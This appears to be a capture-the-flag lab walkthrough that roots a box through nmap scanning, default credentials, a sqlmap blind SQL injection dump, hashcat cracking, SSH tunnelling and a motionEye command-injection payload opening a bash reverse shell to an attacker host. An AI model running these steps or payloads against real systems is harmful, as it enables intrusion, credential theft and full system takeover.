01_Reconnaissance
terminal / nmap
$ nmap -p- --min-rate 5000 -sS 10.129.119.247
$ nmap -sC -sV -A -oN nmap_report.txt 10.129.119.247
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.6p1 Ubuntu
80/tcp open http Apache httpd 2.4.58
terminal / default creds
Username: admin Password: admin ✅ Login successful.
02_Blind_SQLi_CVE-2024-51482
terminal / sqlmap time-based dump
# req.txt = saved removetag request, tid=1
$ sqlmap -r req.txt --batch -p "tid" --dbs
$ sqlmap -r req.txt -p "tid" --batch --technique=T \
--dump -D zm -T Users -C Username,Password
terminal / hashcat bcrypt
$ hashcat -m 3200 hash.txt /usr/share/wordlists/rockyou.txt mark : [REDACTED]
03_Initial_Access_and_Internal_Discovery
terminal / ssh
$ ssh mark@cctv.htb
Password: [REDACTED]
mark@cctv:~$ cat user.txt
terminal / ss -tlnp
$ ss -tlnp 127.0.0.1:8765 LISTEN
04_Tunnel_to_motionEye_RCE
terminal / local port forward
$ ssh -L 8765:127.0.0.1:8765 mark@cctv.htb # browser: http://127.0.0.1:8765
terminal / motionEye RCE
$ nc -lvnp 4444 # image_file_name payload (via Burp, saved config → Motion reload) $(python3 -c "import os;os.system('bash -c \"bash -i >& /dev/tcp/<ATTACKER_IP>/4444 0>&1\"')") # connection received → whoami → root # cat /root/root.txt